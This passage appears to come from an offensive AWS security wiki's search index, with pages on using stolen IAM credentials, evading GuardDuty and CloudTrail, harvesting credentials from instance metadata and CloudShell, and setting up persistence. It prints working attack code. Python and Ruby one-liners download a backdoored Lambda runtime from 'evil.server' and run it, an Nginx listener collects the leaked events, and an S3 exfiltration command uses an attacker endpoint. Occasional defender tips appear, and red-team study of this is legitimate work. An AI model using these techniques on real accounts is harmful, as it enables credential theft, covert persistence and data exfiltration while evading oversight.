      User data can be accessed at http://169.254.169.254/latest/user-data/ from the EC2 instance.

      "},{"location":"aws/general-knowledge/introduction_user_data/#imdsv2","title":"IMDSv2","text":"

      Version two of the metadata service has added protections against SSRF and requires the user to create and use a token. You can access it via the following.

      user@host:~$ TOKEN=`curl -X PUT \"http://169.254.169.254/latest/api/token\" -H \"X-aws-ec2-metadata-token-ttl-seconds: 21600\"`\nuser@host:~$ curl -H \"X-aws-ec2-metadata-token: $TOKEN\" -v http://169.254.169.254/latest/user-data/\n
      "},{"location":"aws/general-knowledge/introduction_user_data/#api","title":"API","text":"

      Another option to gather user data is via the API. If you escalate privileges in an account, or simply compromise a user/role with sufficient permissions, you can query the AWS API to view the user data of specific EC2 instances. This requires you to know the instance-id of the target EC2 instance. To query the user data we will use the describe-instance-attribute action. The result will be base64 encoded.

      user@host:~$ aws ec2 describe-instance-attribute --instance-id i-abc123... --attribute userData\n
      "},{"location":"aws/general-knowledge/using_stolen_iam_credentials/","title":"Using Stolen IAM Credentials","text":"

      As a Penetration Tester or Red Teamer it is likely you will stumble into AWS IAM credentials during an assessment. The following is a step by step guide on how you can use them, things to consider, and methods to avoid detection.

      "},{"location":"aws/general-knowledge/using_stolen_iam_credentials/#iam-credential-characteristics","title":"IAM Credential Characteristics","text":"

      In AWS there are typically two types of credentials you will be working with, long term (access keys) and short term.

      Long term credentials will have an access key that starts with AKIA and will be 20 characters long. In addition to the access key there will also be a secret access key which is 40 characters long. With these two keys, you can potentially make requests against the AWS API. As the name implies, these credentials have no specified lifespan and will be useable until they are intentionally disabled/deactivated. As a result, this makes them not recommended from a security perspective. Temporary security credentials are preferred.

      Temporary credentials, by comparison, will have an access key that starts with ASIA, be 20 characters long, and also have a 40 character secret key. In addition, temporary security credentials will also have a session token (sometimes referred to as a security token). The session token will be base64 encoded and quite long. With these 3 credentials combined you can potentially make requests to the AWS API. As the name implies, these credentials have a temporary lifespan that is determined when they were created. It can be as short as 15 minutes, and as long as several hours.

      "},{"location":"aws/general-knowledge/using_stolen_iam_credentials/#working-with-the-keys","title":"Working with the Keys","text":"

      After gathering the credentials you will likely want to use them with the AWS CLI. There are a few ways to do this, however setting them as environment variables is likely the easiest.

      To do this with long term credentials, set the following environment variables.

      export AWS_ACCESS_KEY_ID=AKIAEXAMPLEEXAMPLEEE\nexport AWS_SECRET_ACCESS_KEY=EXAMPLEEXAMPLEEXAMPLEEXAMPLEEXAMPLESEXAM\n

      To do this with short term credentials, set the following environment variables.

      export AWS_ACCESS_KEY_ID=ASIAEXAMPLEEXAMPLEEE\nexport AWS_SECRET_ACCESS_KEY=EXAMPLEEXAMPLEEXAMPLEEXAMPLEEXAMPLESEXAM\nexport AWS_SESSION_TOKEN=EXAMPLEEXAMPLEEXAMPLE...<snip>\n

      Note

      You may also have to specify an AWS region. This can be globally set with the aws configure command or through the AWS_REGION environment variable.

      "},{"location":"aws/general-knowledge/using_stolen_iam_credentials/#determining-validity","title":"Determining Validity","text":"

      Now that you have credentials and have them setup to use, how can you determine if they are valid (not expired or deactivated)? The simplest way would be to make use of the sts:GetCallerIdentity API call. This method is helpful because it will allow us to determine if the credentials are valid and it will also tell us useful information such as the name of the role/user associated with these credentials and the AWS account ID they belong to.

      As an added bonus, we can be confident this API call will always work. From the documentation, \"No permissions are required to perform this operation. If an administrator adds a policy to your IAM user or role that explicitly denies access to the sts:GetCallerIdentity action, you can still perform this operation\".

      $ aws sts get-caller-identity\n{\n    \"UserId\": \"AROAEXAMPLEEXAMPLEEXA:Nick\",\n    \"Account\": \"123456789123\",\n    \"Arn\": \"arn:aws:sts::123456789123:assumed-role/blah/Nick\"\n}\n

      Tip

      For defensive security professionals, it may be worthwhile to alert on invocations of sts:GetCallerIdentity from identities that have no history of calling it. For example, if an application server in a production environment has never called it before, that may be an indication of compromise.

      It is worth noting that sts:GetCallerIdentity may be legitimately used by a large number of projects, and that individual developers may use it as well. To attempt to reduce the number of false positives, it would be best to only alert on identities which have no history of calling it.

      "},{"location":"aws/general-knowledge/using_stolen_iam_credentials/#operational-security-considerations","title":"Operational Security Considerations","text":"

      If you are attempting to maintain stealth, sts:GetCallerIdentity may be a risk. This API call logs to CloudTrail which means that defenders will have a log with additional details that this occurred. To get around this, we can make use of data events.

      Data events are high-volume API calls for resources in an AWS account. Because of the number of times these APIs may be called, they are not logged to CloudTrail by default and in some cases they cannot be logged at all.

      An example of this would be sqs:ListQueues. By making this API call we can get similar information to sts:GetCallerIdentity without the risk of logging to CloudTrail.

      user@host:~$ aws sqs list-queues\n\nAn error occurred (AccessDenied) when calling the ListQueues operation: User: arn:aws:sts::123456789012:assumed-role/no_perms/no_perms is not authorized to perform: sqs:listqueues on resource: arn:aws:sqs:us-east-1:123456789012: because no identity-based policy allows the sqs:listqueues action\n

      For more information on this technique, please see its article.

      "},{"location":"aws/general-knowledge/using_stolen_iam_credentials/#avoiding-detection","title":"Avoiding Detection","text":"

      There are situations where simply using the credentials could alert defenders to your presence. As a result, it is a good idea to be mindful of these circumstances to avoid being caught.

      "},{"location":"aws/general-knowledge/using_stolen_iam_credentials/#guardduty-pentest-findings-and-cli-user-agents","title":"GuardDuty Pentest Findings and CLI User Agents","text":"

      If you are using a \"pentesting\" Linux distribution such as Kali Linux, Parrot Security, or Pentoo Linux you will immediately trigger a PenTest GuardDuty finding. This is because the AWS CLI will send along a user agent string which contains information about the operating system making the API call.

      In order to avoid this, it is best to make use of a \"safe\" operating system, such as Windows, Mac OS, or Ubuntu. If you are short on time, or simply MUST use one of these Linux distributions, you can modify your botocore library with a hard-coded user agent.

      Tip

      Are you going up against an apex blue team who will detect anything? It may be a good idea to spoof a user agent string that one would expect in the environment. For example, if these IAM credentials belong to a developer who uses a Windows workstation, it would be very strange for API calls to suddenly start having a user agent with a Linux operating system.

      Defenders, this may also be worth looking into for detection purposes.

      For more information on this, please see its article.

      "},{"location":"aws/general-knowledge/using_stolen_iam_credentials/#guardduty-credential-exfiltration","title":"GuardDuty Credential Exfiltration","text":"

      Note

      This section only applies to IAM credentials taken from the Instance Metadata Service of an EC2 instance. It does not apply to other IAM credentials.

      When using IAM credentials taken from an EC2 instance, you run the risk of triggering the UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS GuardDuty finding. This finding alerts on scenarios in which IAM credentials from an EC2 instance are used from outside AWS (E.X your home IP address).

      This is particularly relevant in scenarios in which you have access to the IAM credentials, but not the host (Server Side Request Forgery).

      To get around this, we can make use of VPC Endpoints which will not trigger this alert. To make things easier, the SneakyEndpoints tool was developed to allow you to quickly stand up infrastructure to bypass this detection.

      For more information on this, please see its article.

      "},{"location":"aws/general-knowledge/using_stolen_iam_credentials/#situational-awareness","title":"Situational Awareness","text":"

      Now that you have everything set up and you know what to look out for, your next question may be, \"what is in this AWS account?\". If you are performing a no-knowledge assessment, and thus, don't have any insights into what services are running in the account, it makes it difficult to know what to target or look into.

      One option would be to enumerate the service-linked roles in the account. A service-linked role is a special kind of IAM role that allows an AWS service to perform actions in your account. Because of this, we can potentially enumerate them without authentication.

      From the previous validity checking step, we will know the AWS account ID we are operating in. That, combined with this technique will allow us to enumerate what services the AWS account uses. This can be helpful to answer questions such as, \"Is our target using GuardDuty? Is this account a part of an organization? Are they using containers (ECS, EKS), or are they using EC2?\".

      For more information on this, please see its article.

      "},{"location":"aws/post_exploitation/create_a_console_session_from_iam_credentials/","title":"Create a Console Session from IAM Credentials","text":"
      • Technique seen in the wild

        Reference: Not a SIMulation: CrowdStrike Investigations Reveal Intrusion Campaign Targeting Telco and BPO Companies

      • Tools mentioned in this article

        aws-vault: A vault for securely storing and accessing AWS credentials in development environments.

        aws_consoler: A utility to convert your AWS CLI credentials into AWS console access.

        Pacu: The AWS exploitation framework, designed for testing the security of Amazon Web Services environments.

      When performing an AWS assessment you will likely encounter IAM credentials. These credentials can be used with the AWS CLI or other tooling to query the AWS API.

      While this can be useful, sometimes you just can't beat clicking around the console. If you have IAM credentials, there is a way that you can spawn an AWS Console session using a tool such as aws-vault. This can make certain actions much easier rather than trying to remember the specific flag name for the AWS CLI.

      Note

      If you are using temporary IAM credentials (ASIA...), for example, from an EC2 instance, you do not need to have any special IAM permissions to do this. If you are using long-term credentials (AKIA...), you need to have either sts:GetFederationToken or sts:AssumeRole permissions. This is to generate the temporary credentials you will need.

      Tip

      If you are attempting to avoid detection, this technique is not recommended. Aside from the suspicious ConsoleLogin CloudTrail log, and the odd user-agent (Ex: Why is the IAM role associated with the CI/CD server using a Firefox user-agent string?), you will also generate a ton of CloudTrail logs.

      "},{"location":"aws/post_exploitation/create_a_console_session_from_iam_credentials/#using-aws-vault","title":"Using aws-vault","text":"

      To start, export the relevant environment variables for the IAM credentials you have. Next, install aws-vault.

      From here, perform the following commands depending on the type of credentials you have.

      "},{"location":"aws/post_exploitation/create_a_console_session_from_iam_credentials/#user-credentials","title":"User Credentials","text":"

      For long-term credentials (Those starting with AKIA), there is an extra step that must be completed first. You will need to generate temporary credentials to retrieve the sign in token. To do this, we will make use of sts:GetFederationToken. As an alternative, sts:AssumeRole can also be used.

      aws sts get-federation-token --name blah\n

      This will return temporary IAM credentials that you can use with the next step.

      "},{"location":"aws/post_exploitation/create_a_console_session_from_iam_credentials/#sts-credentials","title":"STS Credentials","text":"

      For short-term credentials (Those starting with ASIA), you can run the following command:

      aws-vault login\n

      Tip

      If you'd like to generate a link without it automatically opening a new tab in your browser you can use the -s flag and it will be printed to stdout.

      To learn more about custom identity broker access to the AWS Console please see the official documentation.

      "},{"location":"aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/","title":"Download Tools and Exfiltrate Data with the AWS CLI","text":"
      • Technique seen in the wild

        Reference: SCARLETEEL 2.0: Fargate, Kubernetes, and Crypto

      In an attempt to be stealthy, threat actors will often \"live off the land\", using tools and scripts already existing on a host machine outside of their intended purpose. This can help them avoid detection by blending in with their surroundings.

      In AWS environments, it is common to find servers which have the AWS CLI installed (It is included by default in Amazon Linux). This makes it an excellent choice for adversaries to move data around, avoiding more common tools like curl or Wget which may be monitored for suspicious uses.

      As seen in the wild by the SCARLETEEL threat actor, the AWS CLI can be used to download and exfiltrate data using an attacker-hosted backend. You can host an S3 compatible object store such as MinIO and then use the --endpoint-url flag to interact with that service. This makes it easy to download tools, exfiltrate compromised data and more.

      $ aws s3 ls --endpoint-url https://attacker.s3.store\n2023-07-13 02:06:30 criminalbucket\n2023-07-13 22:01:36 exfiltrated-data\n

      Tip

      As mentioned by Jesse Lepich, a layer 7 firewall like the AWS Network Firewall can be used to limit access to non-allowlisted domains.

      "},{"location":"aws/post_exploitation/get_iam_creds_from_console_session/","title":"Get IAM Credentials from a Console Session","text":"
      • Original Research

        Retrieving AWS security credentials from the AWS consoletitle by Christophe Tafani-Dereeper

      When performing a penetration test or red team assessment, it is not uncommon to gain access to a developer's machine. This presents an opportunity for you to jump into AWS infrastructure via credentials on the system. For a myriad of reasons you may not have access to credentials in the .aws folder, but instead have access to their browser's session cookies (for example via cookies.sqlite in FireFox).

      Gaining access to the Console is great, but it may not be ideal. You may want to use certain tools that would instead require IAM credentials.

      To get around this, we can leverage CloudShell. CloudShell exposes IAM credentials via an undocumented endpoint on port 1338. After loading session cookies from the victim into your browser, you can navigate to CloudShell and issue the following commands to get IAM credentials.

      [user@cloudshell]$ TOKEN=$(curl -X PUT localhost:1338/latest/api/token -H \"X-aws-ec2-metadata-token-ttl-seconds: 60\")\n\n[user@cloudshell]$ curl localhost:1338/latest/meta-data/container/security-credentials -H \"X-aws-ec2-metadata-token: $TOKEN\"\n

      Alternatively, you can run the following command, which returns credentials with a short TTL (roughly 15m).

      [user@cloudshell]$ aws configure export-credentials --format env\n
      "},{"location":"aws/post_exploitation/iam_persistence/","title":"AWS IAM Persistence Methods","text":"

      After gaining a foothold in an AWS environment, an attacker may attempt to establish persistence. Doing this will allow them to return to the account later on to continue their activities. This article is a collection of such persistence techniques. It's worth noting at the time of writing, that this is a small subset of the world of possibilities available to an attacker, and more techniques will be added over time.

      More complex methods that require additional explanation will link to their respective Hacking the Cloud articles.

      "},{"location":"aws/post_exploitation/iam_persistence/#iam-user-access-keys","title":"IAM User Access Keys","text":"
      • Technique seen in the wild

        • SCARLETEEL 2.0: Fargate, Kubernetes, and Crypto
        • Unmasking GUI-Vil: Financially Motivated Cloud Threat Actor
      • Required IAM Permission

        • iam:CreateAccessKey

      AWS IAM users can create pairs of access keys to programmatically interact with the AWS API. These credentials can be used with the AWS CLI and allow those with access to those credentials to perform actions as the associated user.

      Access keys created this way are long lived (starting with AKIA), meaning that they do not time out or expire by default. Because of this, creating access keys for a user you'd like to maintain access to can be an incredibly simple and easy form of persistence in an AWS environment.

      Tip

      Aside from the opportunity to maintain persistence in an AWS environment, iam:CreateAccessKey can also potentially be used for lateral movement to create credentials for other users.

      "},{"location":"aws/post_exploitation/iam_persistence/#iam-user-login-profile","title":"IAM User Login Profile","text":"
      • Technique seen in the wild

        • Unmasking GUI-Vil: Financially Motivated Cloud Threat Actor
      • Required IAM Permission

        • iam:CreateLoginProfile

      AWS IAM users can be configured to access the AWS console with a username and password. An adversary with the iam:CreateLoginProfile permission can create login profiles for other users (specifying the password of their choosing). Through this method an adversary can maintain access to an IAM user by logging into the AWS console and performing operations from there.

      "},{"location":"aws/post_exploitation/iam_persistence/#iam-role-assume-role-policy","title":"IAM Role Assume Role Policy","text":"
      • Required IAM Permission

        • iam:UpdateAssumeRolePolicy

      In order to assume an IAM role, a role trust policy must be attached to it. This policy specifies the identities that are permitted to assume the role.

      An adversary could invoke iam:UpdateAssumeRolePolicy, specifying that their own, attacker-controlled AWS account is permitted to assume the role in the environment. This would allow the adversary to maintain access to that role, and use it when needed.

      {\n  \"Version\": \"2012-10-17\",\n  \"Statement\": {\n    \"Effect\": \"Allow\",\n    \"Action\": \"sts:AssumeRole\",\n    \"Resource\": \"arn:aws:iam::<attacker_aws_account_id>:role/secret_admin\"\n  }\n}\n

      Tip

      For the defensive side; it is a good idea to regularly audit role trust policies that establish trust with AWS accounts outside of your organization. In most cases, this will likely identify SaaS and vendor AWS accounts, however it may turn up something much more nefarious.

      "},{"location":"aws/post_exploitation/iam_persistence/#survive-access-key-deletion-with-stsgetfederationtoken","title":"Survive Access Key Deletion with sts:GetFederationToken","text":"
      • Technique Article

        • Survive Access Key Deletion with sts:GetFederationToken
      "},{"location":"aws/post_exploitation/iam_persistence/#ec2-instance-persistence","title":"EC2 Instance Persistence","text":"

      EC2 instances which have an IAM role attached to them will have their own instance metadata service (IMDS) available. If an adversary has code execution on the EC2 instance, or is able to abuse server side request forgery in an application running on the host, they can steal IAM credentials from the IMDS.

      By maintaining access to an EC2 instance which has a role with the permissions you want, this can be an effective and quiet method to keep access to an AWS environment. No additional API calls are required to use those credentials.

      "},{"location":"aws/post_exploitation/iam_persistence/#lambda-persistence","title":"Lambda Persistence","text":"
      • Technique Article

        • Lambda Persistence
      "},{"location":"aws/post_exploitation/iam_persistence/#user-data-script-persistence","title":"User Data Script Persistence","text":"
      • Technique Article

        • User Data Script Persistence
      "},{"location":"aws/post_exploitation/intercept_ssm_communications/","title":"Intercept SSM Communications","text":"
      • Original Research

        Intercept SSM Agent Communications by Nick Frichette

      • Tools mentioned in this article

        ssm-agent-research

      The SSM Agent is responsible for allowing EC2 instances to communicate with SSM services. The agent authenticates with SSM via the IAM role and the credentials in the Metadata Service. As a result, if you gain access to an EC2 instance or its IAM credentials you can spoof the agent and intercept EC2 Messages and SSM Sessions.

      For an in depth explanation of how this works, please see the original research.

      Warning

      The tools used in this page are proof of concept, and should not be used for serious use cases. If you create or find a more production-ready tool please open an issue.

      "},{"location":"aws/post_exploitation/intercept_ssm_communications/#intercept-ec2-messages","title":"Intercept EC2 Messages","text":"

      The normal operations of the SSM Agent is to poll for messages it has been sent. We can abuse this functionality by frequently polling ourselves. Doing so, will increase the likelihood (to a near guarantee) that we receive the messages before the real SSM agent does.

      By abusing this functionality we can intercept the EC2 messages and response with our own output, allowing us to force a \"Success\" response.

      Using the ssm-send-command-interception.py PoC:

      "},{"location":"aws/post_exploitation/intercept_ssm_communications/#intercept-ssm-sessions","title":"Intercept SSM Sessions","text":"

      Normally the SSM Agent will spawn a WebSocket connection back to SSM. This first WebSocket is the control channel and is responsible for spawning the data channels (which actually process the information). Due to this setup, we can spawn our own control channel and intercept all incoming connections. This can allow us to intercept or modify the communications happening, and potentially allow us to intercept sensitive commands and credentials.

      Using the ssm-session-interception.py PoC:

      "},{"location":"aws/post_exploitation/lambda_persistence/","title":"Lambda Persistence","text":"
      • Original Research

        Gaining Persistency on Vulnerable Lambdas by Yuval Avrahami

      • Additional Resources

        Revisiting Lambda Persistence

      Warning

      Depending on the specific runtime and tools available, you will likely have to change the approach taken to gain persistence in a Lambda function. The general concepts should serve as a guide for a more specific attack you develop.

      After finding a remote code execution vulnerability in a Lambda function, you'll probably want to establish persistence. The steps to do this will depend on the specific runtime that is being used by the Lambda function. Below the Python and Ruby runtimes are used as an example.

      Note

      See the \"Creating a Listener\" section at the bottom of this page for how to setup a listener for exfiltrated data.

      "},{"location":"aws/post_exploitation/lambda_persistence/#python-runtime","title":"Python Runtime","text":"

      After identifying that your target is using the Python runtime, you'll need a copy of the /var/runtime/bootstrap.py file. You can get this by either creating your own Lambda function and copying it, or by leaking it from the target Lambda function.

      Next, you'll want to modify this runtime with some logic to backdoor it. This can be simply done with a few lines such as the following:

      Note

      You can customize what the backdoor does, depending on what you're looking to do. Maybe you want to leak a specific user's data. Maybe you just want Cookies. It's up to you!

      With the bootstrap.py file backdoored, you'll want to host it in a location that is accessible for the Lambda function to pull down.

      The next step is creating a one-liner to pull down this modified code, as well as to terminate the current event in the Runtime API. This can be done by posting to a specific endpoint with the current request ID. All together, that code should look something like this:

      import urllib3\nimport os\nhttp = urllib3.PoolManager()\n\n# Writing the new bootstrap to a file\nr = http.request('GET', 'https://evil.server/bootstrap.py')\nw = open('/tmp/bootstrap.py', 'w')\nw.write(r.data.decode('utf-8'))\nw.close()\n\n# Getting the current request ID\nr = http.request('GET', 'http://127.0.0.1:9001/2018-06-01/runtime/invocation/next')\nrid = r.headers['Lambda-Runtime-Aws-Request-Id']\n\n# End the current event\nhttp.request('POST', f'http://127.0.0.1:9001/2018-06-01/runtime/invocation/{rid}/response', body='null', headers={'Content-Type':'application/x-www-form-urlencoded'})\n\n# Swap the runtimes\nos.system('python3 /tmp/bootstrap.py')\n

      Or as a long one-liner (don't forget to change the hostname):

      python3 -c \"import urllib3;import os;http = urllib3.PoolManager();r = http.request('GET', 'https://evil.server/bootstrap.py');w = open('/tmp/bootstrap.py', 'w');w.write(r.data.decode('utf-8'));w.close();r = http.request('GET', 'http://127.0.0.1:9001/2018-06-01/runtime/invocation/next');rid = r.headers['Lambda-Runtime-Aws-Request-Id'];http.request('POST', f'http://127.0.0.1:9001/2018-06-01/runtime/invocation/{rid}/response', body='null', headers={'Content-Type':'application/x-www-form-urlencoded'});os.system('python3 /tmp/bootstrap.py')\"\n

      From here on, all subsequent events should be leaked to the attacker. Remember that if the Lambda function is not used for 5-15 minutes, it will become \"cold\" and you will lose access to the persistence you've established. You can execute the function again to keep it \"warm\" or you can simply reestablish persistence.

      "},{"location":"aws/post_exploitation/lambda_persistence/#ruby-runtime","title":"Ruby Runtime","text":"

      After identifying that your target is using the Python runtime, you\u2019ll need a copy of the /var/runtime/lib/runtime.rb file. You can get this by either creating your own Lambda function and copying it, or by leaking it from the target Lambda function.

      Next, you\u2019ll want to modify this runtime with some logic to backdoor it. This can be simply done with a few lines such as the following:

      With the runtime.rb file backdoored, you\u2019ll want to host it in a location that is accessible for the Lambda function to pull down. Note, you'll likely want to rename it to something like run.rb. This is because you'll want to create a symbolic link between everything in /var/runtime/lib to /tmp. This will ensure your modified runtime.rb file can access all the additional libraries it needs.

      The next step is creating a one-liner to create those symbolic links, pull down this modified code, and execute it as well as to terminate the current event in the Runtime API. This can be done by posting to a specific endpoint with the current request ID. All together, that code should look something like this:

      require 'net/http'\n\n# Writing the new runtime to a file\nuri = URI('https://evil.server/run.rb')\nr = Net::HTTP.get_response(uri)\nFile.write('/tmp/run.rb', r.body)\n\n# Getting the current request ID\nuri = URI('http://127.0.0.1:9001/2018-06-01/runtime/invocation/next')\nr = Net::HTTP.get_response(uri)\nrid = r.header['Lambda-Runtime-Aws-Request-Id']\n\n# End the current request\nuri = URI('http://127.0.0.1:9001/2018-06-01/runtime/invocation/'+rid+'/response')\nNet::HTTP.post(uri, 'null')\n

      Or as a long one-liner (don\u2019t forget to change the hostname, create the symbolic links, or execute the code in the background):

      ln -s /var/runtime/lib/* /tmp && ruby -e \"require 'net/http';uri = URI('https://evil.server/run.rb');r = Net::HTTP.get_response(uri);File.write('/tmp/run.rb', r.body);uri = URI('http://127.0.0.1:9001/2018-06-01/runtime/invocation/next');r = Net::HTTP.get_response(uri);rid = r.header['Lambda-Runtime-Aws-Request-Id'];uri = URI('http://127.0.0.1:9001/2018-06-01/runtime/invocation/'+rid+'/response');Net::HTTP.post(uri, 'null')\" && ruby /tmp/run.rb &\n

      From here on, all subsequent events should be leaked to the attacker. Remember that if the Lambda function is not used for 5-15 minutes, it will become \u201ccold\u201d and you will lose access to the persistence you\u2019ve established. You can execute the function again to keep it \u201cwarm\u201d or you can simply reestablish persistence.

      "},{"location":"aws/post_exploitation/lambda_persistence/#creating-a-listener","title":"Creating a Listener","text":"

      How you receive leaked events is up to you. The author found that the simplest way was via post requests to an Nginx server. The configuration was simple. First, outside of the server block, include a line like log_format postdata $request_body.

      Next, include the following inside the server block:

      location = /post {\n    access_log /var/log/nginx/postdata.log postdata;\n    proxy_pass http://127.0.0.1/post_extra;\n}\nlocation = /post_extra {\n    access_log off;\n    return 200;\n}\n

      After restarting Nginx, all logs received via post requests should be stored in /var/log/nginx/postdata.log.

      "},{"location":"aws/post_exploitation/role-chain-juggling/","title":"Role Chain Juggling","text":"
      • Original Research

        Daniel Heinsen

      • Tools mentioned in this article

        AWSRoleJuggler

      When doing an assessment in AWS you may want to maintain access for an extended period of time. You may not have the ability to create a new IAM user, or create a new key for existing users. How else can you extend your access? Role Chain Juggling.

      Role chaining is a recognized functionality of AWS in that you can use one assumed role to assume another one. When this happens the expiration field of the credentials is refreshed. This allows us to keep refreshing credentials over an over again.

      Through this, you can extend your access by chaining assume-role calls.

      Note

      You can chain the same role multiple times so long as the Trust Policy is configured correctly. Additionally, finding roles that can assume each other will allow you to cycle back and forth.

      To automate this work Daniel Heinsen developed a tool to keep the juggling going.

      user@host:$ ./aws_role_juggler.py -h\nusage: aws_role_juggler.py [-h] [-r ROLE_LIST [ROLE_LIST ...]]\n\noptional arguments:\n  -h, --help            show this help message and exit\n  -r ROLE_LIST [ROLE_LIST ...], --role-list ROLE_LIST [ROLE_LIST ...]\n
      "},{"location":"aws/post_exploitation/run_shell_commands_on_ec2/","title":"Run Shell Commands on EC2 with Send Command or Session Manager","text":"

      After escalating privileges in a target AWS account or otherwise gaining privileged access you may want to run commands on EC2 instances in the account. This article hopes to provide a quick and referenceable cheat sheet on how to do this via ssm:SendCommand or ssm:StartSession.

      Tip

      By default, the commands that are issued are not logged to CloudTrail. Specifically they are \"HIDDEN_DUE_TO_SECURITY_REASONS\". As a result, if an adversary were to leverage this tactic against an environment, defenders would need to get information about those commands from host based controls. Defenders, this is an excellent capability to validate. Alternatively, offensive security teams can do the testing.

      "},{"location":"aws/post_exploitation/run_shell_commands_on_ec2/#send-command","title":"Send Command","text":"
      • Required IAM Permissions

        • ssm:SendCommand
      • Recommended but not Required IAM Permissions

        • ssm:ListCommandInvocations
        • ec2:DescribeInstances

      You can send arbitrary shell commands to EC2 instances from the AWS CLI via the following:

      aws ssm send-command \\\n--instance-ids \"i-00000000000000000\" \\\n--document-name \"AWS-RunShellScript\"\n--parameters commands=\"*shell commands here*\"\n

      If you're just looking to run a quick C2 payload, or perhaps create a new user this will likely be enough. However, if you also want to retrieve the output of the command you will need to make a ssm:ListCommandInvocations call as well.

      If you would like to retrieve the output, make a note of the CommandId returned to you in the Send Command call. After a short period of time (to let the command run) you can use this Id to lookup the results. You can do this with the following:

      aws ssm list-command-invocations \\\n--command-id \"command_id_guid\" \\\n--details\n

      Note

      The --details is required to view the output of the command.

      The output of the command will be in the Output section under CommandPlugins.

      "},{"location":"aws/post_exploitation/run_shell_commands_on_ec2/#session-manager","title":"Session Manager","text":"
      • Required IAM Permissions

        • ssm:StartSession

      If instead you'd like a more interactive shell experience, you can make use of Session Manager. Session Manager allows you to have an SSH-esc experience, making it easy to interact with EC2 instances.

      To begin, you will first need to install the SSM Session Manager Plugin. The specifics of this will depend on what operating system you are using.

      With that installed, you can then run the following command to start an interactive session.

      aws ssm start-session --target instance-id\n
      "},{"location":"aws/post_exploitation/s3_acl_persistence/","title":"S3 File ACL Persistence","text":""},{"location":"aws/post_exploitation/s3_acl_persistence/#requirements","title":"Requirements","text":"

      For this scenario to work, you will need to have s3:PutBucketAcl, s3:PutObjectAcl, or PutObjectVersionAcl on the target s3 bucket or associated object.

      "},{"location":"aws/post_exploitation/s3_acl_persistence/#purpose","title":"Purpose","text":"

      When doing an assessment in AWS you may want to maintain access for an extended period of time, but you may not have the ability to create a new IAM user, create a new key for existing users, or even perform IAM role-chain juggling. How else can you extend your access? By backdooring key S3 resources using S3 Access Control Lists (ACLs).

      "},{"location":"aws/post_exploitation/s3_acl_persistence/#background-on-sensitive-s3-use-cases","title":"Background on Sensitive S3 Use Cases","text":"

      Many organizations have grown to use AWS S3 to store Terraform state files, CloudFormation Templates, SSM scripts, application source code, and/or automation scripts used to manage specific account resources (EC2 instances, Lambda Functions, etc.) During post-exploitation, you may identify opportunities to access these resources. Provisioning write, or in some cases read only access to these resources, may provide persistent access to credentials for the AWS account and/or resources provisioned in the account. Furthermore, write access specifically may allow an attacker to update configuration files, source code for applications, and/or automation code that modifies downstream resources in the account. On the next update/execution of the relevant data/code, this may allow an attacker to further extend access to other resources in the account, or even beyond the specific AWS account accessed. This brings us to the method: S3 ACL Access Control.

      "},{"location":"aws/post_exploitation/s3_acl_persistence/#technique","title":"Technique","text":"

      S3 ACL Access Control is a recognized functionality of AWS in that you can use an access control list to allow access to S3 buckets from outside your own AWS account without configuring an Identity-based or Resource-based IAM policy. While many organizations may be prepared to alert on S3 buckets made public via resource policy, this alerting may not extend to capabilities associated with bucket or object ACLs. Furthermore, subtler configurations that expose bucket or object resources to other accounts via ACLs may go undetected by organizations, even those with strong alerting capabilities. Using these permissions, you can extend your access by allowing other AWS accounts you control to read or write objects, buckets, and bucket ACLs. Furthermore, the access can be extended to AUTHENTICATED USERS, which is a term AWS uses to describe any AWS IAM principal in any other AWS account. The access can also be extended to ANY USER which is a term AWS uses to describe anonymous access that does not require authentication.

      "},{"location":"aws/post_exploitation/s3_acl_persistence/#key-considerations","title":"Key Considerations","text":"
      1. Bucket Public Access Block will prevent S3 bucket ACLs from being configured to allow public (ANY USER) access. If configured, it will provide some limitations to this technique. It does not, however, block the sharing of an s3 object to a specific account, due to what AWS classifes as 'public'.
      2. ACLs for Buckets or objects can be disabled at the bucket level, which would mandate the bucket owner as the object owner no matter who uploads the object. From April 2023, AWS will make this the default for all newly created buckets.
      "},{"location":"aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/","title":"Survive Access Key Deletion with sts:GetFederationToken","text":"
      • Technique seen in the wild

        • How Adversaries Can Persist with AWS User Federation
      • Required IAM Permission

        • sts:GetFederationToken

      After identifying that access keys have been compromised by an adversary, defenders will often immediately deactivate or delete those credentials. This is a good practice as it theoretically disables an adversary's access to the environment. However, it is important to know that an adversary can still use credentials generated from sts:GetFederationToken, even if the original access keys have been deleted.

      sts:GetFederationToken is an API that can be invoked by IAM users and returns a set of temporary (ASIA...) IAM credentials. These credentials can be used normally through the CLI with 2 exceptions. From the documentation:

      • You cannot call any IAM operations using the AWS CLI or the AWS API.
      • You cannot call any AWS STS operations except sts:GetCallerIdentity.

      However, it is important to note that these limitations do not apply if an attacker generates a console session from IAM credentials. By using the AWS console you could interact with the IAM service and perform actions such as privilege escalation, maintaining persistence, etc.

      Tip

      If you are attempting to avoid detection, generating a console session from IAM credentials is NOT advised. There are numerous IoCs which may trigger alerts, such as a suspicious user-agent and the ConsoleLogin CloudTrail event. If at all possible, only use the IAM credentials generated from sts:GetFederationToken in the CLI.

      To create temporary IAM credentials using sts:GetFederationToken, you can use the following CLI command:

      aws sts get-federation-token \\\n--name your_choice \\\n--policy-arns arn=arn:aws:iam::aws:policy/AdministratorAccess \\\n--duration-seconds 129600\n

      Warning

      While all 3 parameters are configurable by the attacker, keep in mind the potential for detection based on this. For instance, in a highly monitored environment, would the use of the AdministratorAccess policy raise suspicions? What about an extremely long lived session?

      It is important to note that the provided policy-arns will use the intersection of the permissions that were passed. Meaning that if the user has no permissions, passing the AdministratorAccess policy will not provide it admin access to the account. This can, however, be helpful if you don't know what level of privilege you've compromised. By passing a highly privileged policy, you will ensure you will get the full access afforded to the identity.

      Tip

      In addition to passing a policy ARN, you can also pass an inline policy, which may be helpful to avoid suspicious use of certain policies.

      For defenders, in addition to deactivating or deleting IAM user access keys, it may be worthwhile to attach a \"DenyAll\" policy to the compromised user. This would ensure that even if an adversary was using this technique, they would not be able to use their generated credentials.

      It is also advisable to determine how common the use of sts:GetFederationToken is in your environments and alert on its use, or implement a Service Control Policy to prevent it.

      "},{"location":"aws/post_exploitation/user_data_script_persistence/","title":"User Data Script Persistence","text":"

      When using EC2 instances a common design pattern is to define a user data script to be run when an instance is first started or after a reboot. These scripts are typically used to install software, download a config, etc. Additionally these scripts are run as root or System which makes them even more useful. Should we gain access to an EC2 instance we may be able to persist by abusing user data scripts via two different methods.

